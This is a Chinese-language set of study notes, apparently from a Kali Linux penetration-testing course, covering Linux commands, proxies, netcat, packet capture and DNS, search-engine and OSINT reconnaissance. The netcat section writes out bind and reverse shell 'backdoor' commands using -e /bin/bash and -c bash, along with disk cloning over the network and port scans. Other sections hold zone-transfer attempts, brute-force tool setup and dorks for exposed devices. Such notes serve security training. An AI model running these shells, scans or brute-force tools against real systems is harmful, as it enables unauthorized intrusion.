安全牛Kali相关笔记

Windows补丁命令

  • 查看是否安装补丁

    get-hotfix -id KB2887535

  • 卸载补丁

    wusa /uninstall /kb:xxxxxxx

Linux命令

ls

  • 按文件大小排序

    ls -lh --sort=size

tail

  • 配合其他命令

    1
    2
    3
    4
    5
    6
    7
    8

    tail -n +20 date.log # 输出第20行到文件末尾的内容

    sed -n '70,75p' date.log # 输出第70行到第75行的内容

    watch -n 2 tail -20 /var/log/xxx.log # 每两秒查看xxx.log的最后20行内容

    watch -n 2 tail -n -20 /var/log/xxx.log # 每两秒查看xxx.log的最后20行内容

top工具

  • k,输入pid值

  • 详细进程信息

    1
    2
    3
    ps -ef

    ps -aux

awk

  • 严格语法单引号,里面字典包括

    ps -ef | grep ssh | grep -v grep | awk '{print $2}' | xargs echo

ulimit

  • 限制堆栈大小:

    ulimit -s 100 // 限制100k

  • 限制shell内存使用:

    ulimit -m 5000 -v 5000

curl

  • curl显示详细信息

    curl -v http://www.sina.com/

wget

  • wget断点续传

    wget -c https://xxxx.xxx.tar.gz

wget用法

mtr追踪路由信息

  • mtr 8.8.8.8

Linux配置dns解析

sudo vi /etc/resolv.conf

nameserver 8.8.4.4

telnet - 测试端口是否开通

telnet 127.0.0.1 80

网卡命令

  • 关闭网卡

    ifconfig eth0 down

  • 修改mac地址

    macchanger -m xx:xx:xx:xx:xx:xx eth0

  • 开启网卡

    ifconfig eth0 up

  • 强制dhcp重新获取ip

    dhclient eth0

安装自定义Java

  • 1
    2
    3
    update-alternatives --set java /opt/jdk1.8.xx/bin/java
    update-alternatives --set java /opt/jdk1.8.xx/bin/javac
    update-alternatives --set mozailla-javaplugin.so /opt/jdk.../jre/lib/amd64/libnpip2.so
  • 验证Java

    java -version

Linux自启动

  • 自启动级别

    默认default,启动2,3,4,5多用户模式

    update-rc.d xxx default

  • 开机启动优先级,关机优先级(数值越大,优先级越小)

    update-rc.d xxx default 80 20

Linux代理

apt修改conf添加代理

1
2
3
4
5
6
sudo vi /etc/apt/apt.conf

Acquire::ftp::Proxy "http://127.0.0.1:7788";
Acquire::http::Proxy "http://127.0.0.1:7788";
Acquire::https::Proxy "http://127.0.0.1:7788";
Acquire::socks::Proxy "http://127.0.0.1:7788";

bash修改conf添加代理

1
2
3
4
5
6
vi ~/.bashrc

export ftp_proxy="http://127.0.0.1:7788"
export http_proxy="http://127.0.0.1:7788"
export https_proxy="http://127.0.0.1:7788"
export socks_proxy="http://127.0.0.1:7788"

Proxychains

1
2
3
4
5
6
7
8
9
10
sudo vi /etc/proxychains.conf

# 多级代理
# 静态链接 strict_chain (按顺序依次代理)
# 动态链接 dynamic_chain (动态顺序依次代理,自动剃掉无法使用的ip,屏蔽静态链接)
# 随机链接 random_chain (随机代理)
# 代理链接 chain_len = 2 只对 random_chain 有效

socks4 127.0.0.1 9050 (如果不可用,动态链接会自动跳过)
socks5 127.0.0.1 7788

nc/netcat(瑞士军刀)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
# 连接ip
# 详细显示信息且不使用DNS
# pop3端口110
# smtp端口25
# 客户端
nc -vn 123.125.50.29 110
nc -vn 123.125.50.29 80

# 服务端聊天tcp
nc -l -p 4444
nc -nv 123.125.50.29 4444

# 查看端口监听状态
netstat -pantu | grep 4444

# 电子取证
nc -l -p 4444
ls -l | nc -nv 123.125.50.29 4444

# 等待1秒断开连接
ps -aux | nc -nv 123.125.50.29 4444 -q 1

# 传输文件
nc -lp 4444 > 1.mp4
nc -nv 1.1.1.1 4444 < 1.mp4 -q 1

nc -lp 4444 < a.mp4 -q 1
nc -nv 1.1.1.1 4444 > a.mp4

# 打包目录传输文件夹
tar -cvf - music/ | nc -lp 4444 -q 1
nc -nv 1.1.1.1 4444 | tar -xvf -

# 远程控制/后门
nc -l 8000 -e /bin/bash
nc 1.1.1.1 8000

nc -lp 4444 -c bash
nc -lp 4444 -c cmd
nc -nv 1.1.1.1 4444

nc -lp 4444
nc -nv 1.1.1.1 4444 -c bash

# 端口扫描
# -z扫描模式,不进行I/O
nc -nvz 1.1.1.1 -65535

# -u udp端口扫描
nc -nvzu 1.1.1.1 1-65535

# 远程克隆硬盘
# of outputfile
nc -lp 4444 | dd of=/dev/sda # 被克隆的硬盘
dd if=/dev/sda | nc -nv 1.1.1.1 4444 -q 1 # 要克隆的硬盘

# 远程克隆内存(电子取证)
#

Ncat(nmap)

1
2
ncat -c bash --allow 1.1.1.1 -vnl 4444 --ssl
ncat -nv 1.1.1.1 4444--ssl

base64编码

1
2
3
4
5
base64
回车
输入值
再回车
按ctrl+d得出编码后信息

Wireshark

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
sudo wireshark

捕获-->捕获过滤器(抓包筛选器,抓取想要的内容,比如抓取通过本地ip的baidu流量,OnlyBaidu ip host www.baidu.com)

首页点击 eth0 网卡,再点击捕获位置的 标签标志,选择 过滤器,双击网卡启动(也可以手打过滤器ip host www.baidu.com)

显示筛选器:修改想要看的内容,如只看经由的流量为udp的
复杂表达式:即显示tcp又显示非xxxxip的,先在筛选器输入tcp,之后选中一条信息,查看下方的详细信息,Internet Protocol Version-->source,右键,作为过滤器应用-->...与非选中
(tcp) && !(ip.src == 180.101.49.41)

协议:
ping --> ICMP
Internet Protocol
四层协议:
1 ICMP
2 IGMP
6 TCP
17 UDP

wireshark已经强大到可以对数据做协议区分

查看数据流:
数据包上右键-->数据流-->TCP

查看统计信息:
endpoints --> (统计 --> 会话)

Tcpdump

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
## 抓包
# -i 网卡
# -s 捕捉全部
# -w 写入
# -Z 用户
# port 指定端口
# tcp tcp协议
sudo tcpdump -i eth0 -s 0 -w ~/Desktop/tcpdump_use/01.cap -Z root
sudo tcpdump -i eth0 tcp port 22

## 读取
# -r 读取
# -A ascii码形式
# -X 十六进制形式
sudo tcpdump -r ~/Desktop/tcpdump_use/01.cap
sudo tcpdump -A -r ~/Desktop/tcpdump_use/01.cap
sudo tcpdump -X -r ~/Desktop/tcpdump_use/01.cap

## 筛选
# -n 将每个监听到数据包中的域名转换成IP地址后显示
# sort -u 在输出行中去除重复行
sudo tcpdump -n -r 01.cap | awk '{print $3}' | sort -u
sudo tcpdump -n -r 01.cap | awk '{print $3}' | sort -u

# src/dst host 只显示来源/目的IP
sudo tcpdump -n src host 1.1.1.1 -r 01.cap

# UDP 域名查询 53 端口

## 高级筛选
# http三次握手后的请求,ack+push,ack字节处于第13字节,psh字节处于第14字节(计算机 0开始)
# 二进制:00011000 = 11000 --> 16 8 0 0 0 -> 24
sudo tcpdump -A -n 'tcp[13] = 24' -r 01.cap

[参考](https://blog.csdn.net/lgh1117/article/details/80213397)

[参考 sudo man tcpdump]()

过程文档记录

  • Dradis

    1
    2
    3
    4
    # 目前dradis端口已改为3000,且以目前的浏览器,会提示ssl传输过长,或者ssl非安全,那么链接改为如下:
    http://127.0.0.1:3000

    # 第一次使用会默认要设置密码

Metasploitable 2

  • mutillidac配置文件dbname改为owasp10

    /var/www/mutillidac/config.inc

M0n0wall 1.81防火墙/pfsense防火墙

提取码:s9jk

  • 一块桥接网卡,两块host-only网卡

  • 安装过程

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    7
    da0
    y

    # 设置网络
    1
    y
    em0
    10
    em1
    11
    em2
    12
    em1 //LAN
    em0 //WAN
    em2 //OPT1
    y

    # LAN口指定IP地址
    10.1.1.10
    24
    y
    10.1.1.20
    10.1.1.100

    # 设置Web界面密码
    y
    admin
    mono

    启动一台虚拟机,网络设置为Host-only虚拟网卡1
    01:35:01

XSS

XSS思维导图

信息收集内容

DNS - nslookup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nslookup
# 自带命令行,直接输入域名即可

# 查询域名的邮件服务器
set type=mx
sina.com

# 查询邮件服务器的IP
set type=a
freemx1.sinamail.sina.com.cn

# 反向查询,IP查域名
set q=qtr
1.1.1.1

# 命令模式
nslookup -q=any sina.com
nslookup -q=any sina.com 8.8.8.8

DNS - dig

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 查询域名解析(渗透测试多个域名服务器去解析)
dig sina.com any @8.8.8.8
dig sina.com any @8.8.4.4

# 简化查询输出内容
dig +noall +answer mail.163.com any

# 反向域名解析
dig -x 1.1.1.1

# 查询本地域名服务器BIND版本(漏洞利用)
dig +noall +answer txt chaos VERSION.BIND @ns3.dnsv4.com

# dns追踪
dig +trace www.sina.com

DNS区域传输配置文件错误

1
2
3
4
5
dig sina.com ns

dig @根域名服务器 sina.com axfr

host -T -l sina.com ns3.sina.com

DNS字典爆破

1
2
3
4
5
# dnsenum
# -f 指定字典文件
# -dnsserver 指定根域名服务器
# -o 输出文件
dnsenum -f /usr/share/dnsenum/dns.txt -dnsserver 8.8.4.4 sina.com -o dins.xml

Brutex常用端口爆破

1
2
3
4
5
6
7
git clone https://github.com/1N3/BruteX.git

sudo mv BruteX /usr/share/brutex

sudo ln -sf /usr/share/brutex/brutex /usr/bin/brutex

brutex ip

DNS注册信息

1
2
3
4
5
# -h 指定查询主机
# -H 隐藏法律免责声明
whois -h whois.paycenter.com.cn -H sina.com

whois 202.106.0.20

搜索引擎

Shodan

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
net:8.8.8.8

# ip段,检索国内
net:1.179.177.0/24 country:CN

# ip段,检索北京
net:1.179.177.0/24 country:CN city:beijing

# ip段,检索北京开放22端口的设备
net:1.179.177.0/24 country:CN city:beijing port:22

# ip段,检索北京操作系统为windows server 2012的设备
net:1.179.177.0/24 country:CN os:"windows server 2012"

# 某摄像头型号
linux upnp avtech

user:admin pass:password

# 使用方法
https://www.shodan.io/explore/popular

Google hacking

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# + 含有
# - 不含有
+支付 -充值

# "" 只搜索字符串内的内容
"支付充值"

# intitle: 只搜索标题含有xx字符的
# intext: 只搜索内容含有xx字符的
北京 intitle:电子商务 intext:法人 intext:电话

# site: 指定站点
# inurl: url内容中含有xxx字符
## contact联系人信息
北京 site:alibaba.com inurl:contact

# filetype: 只搜索文件类型为xxx的网页
SOX filetype:pdf

# site: 只搜索为xx国家的网页
payment site:fr

# 网络设备权限为15等级的
inurl:"level/15/exec/-/show"

# 机架式网络摄像头
intitle:"netbotz appliance" "ok"

参考google hacking语法

DuckDuckgo

参考官方普通语法

参考官方Bang语法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# bang语法

!g 谷歌搜索
!gtranslate 谷歌翻译
!gimg 谷歌图片

!bd 百度搜索
!bdtr 百度翻译
!bdimg 百度图片

!b 必应搜索
!bingimages 必应图片

!bd 你好啊

被动信息收集工具

theHarvester

1
2
3
4
5
6
7
8
9
# -g默认会读取当前路径
sudo cp -r /usr/share/dict/theHarvester/ ./wordlists

# -d 指定要搜索的域
# -l 指定多少条结果
# -b 指定搜索引擎
theHarvester -d 163.com -l 200 -b baidu

proxychains theHarvester -d trojanazhen.top -g -l 200 -b google

metagoofil

1
2
3
4
5
# -d 指定域
# -t 指定文件类型
# -o 指定输出文件夹
# -f 指定输出文件
metagoofil -d trojanazhen.top -t doc -l 200 -o test -f tro.html

个人密码字典 - cupp

git clone https://github.com/Mebus/cupp.git

元数据图片信息查看 –> metadata

exiftool 文件名 # 查看基本信息

GUI工具 - Maltego

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
1. 选择Maltego CE(Free)免费版 - 免费版最多只能显示12个节点

2. 之后注册账号
https://www.paterva.com/community/community.php

3. 登录

4. 在Layout工具栏,第一个必选,再点击一个要选择的树形图

5. 手工遍历:选择DNS name,拖拽到主面板,然后把名字改为想查的,比如sina.com
6. 之后,在上面右键 To Domains [DNS]
7. 在新查出的dns域名上右键 To DNS Name - MX (mail server),查它的MX记录
8. 也可以查它的NS记录

5. 自动遍历:点击菜单栏的Machines --> Run machine
6. 选择Footprint L1,之后填入你要查的域名
7. maltego会自动查出域名结构
8. 导出:点击菜单栏的Import|Export --> Generate Report

参考:深度查询
参考:自定义脚本

Recon-ng

最近墙严了,recon-ng务必走代理,不然模块装不上,proxychains recon-ng

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
-w 不同的工作区
-r 加载重复性工作命令文件
Recon-ng支持tab联想功能,善用help和tab键

1. modules search # 查看已安装哪些模块
2. marketplace refresh # 更新索引模块列表
3. marketplace search hackertarget # 搜索hackertarget模块索引

###
索引:
marketplace search 索引名称
/* 表格第一行的D表示依赖关系,K *表示需要密钥 */

companies-contacts 公司到联系人
companies-domains 公司到域
companies-multi 公司到综合信息
contacts-contacts 联系人到联系人
contacts-credentials 联系人到凭证信息
contacts-domains 联系人到域名
contacts-profiles 联系人到注册配置文件
credentials-credentials 凭证到凭证
domains-companies 域到公司
domains-contacts 域名到联系人
domains-credentials 域名到凭证
domains-domains 域名到域名
domains-hosts 域名到主机
domains-vulnerabilities域名到漏洞信息
hosts-domains 主机到域名
hosts-hosts 主机到主机
hosts-locations 主机到地理位置
hosts-ports 主机到端口
import 导入
info_disclosure 信息披露
injection 注入
locations-locations 地理位置到地理位置
locations-pushpins 地理位置到pushpins
netblocks-companies 网段到公司
netblocks-hosts 网段到主机
netblocks-ports 网段到端口
ports-hosts 端口到主机
profiles-contacts 注册配置文件到联系人
profiles-profiles 注册配置文件到注册配置文件
profiles-repositories 注册配置文件到资料库
reporting 报告
repositories-profiles 资料库到注册配置文件
repositories-vulnerabilities 资料库到漏洞信息
###

4. marketplace install recon/domains-hosts/hackertarget # 根据Path路径安装hackertarget模块
5. marketplace install recon/domains-hosts/bing_domain_api # 根据Path路径安装bing_domain_api模块,此时会提示你未设置密钥,运行此模块可能失败
6. keys list # 查看需要的密钥列表
7. keys add bing_api xxxxxxxxxxxx # 添加必应密钥
8. modules load recon/domains-hosts/hackertarget # 加载模块
9. info # 加载模块之后,显示模块帮助信息

#. ctrl+l # 清屏

recon-ng -w sina
workspaces list # 查看工作区
0%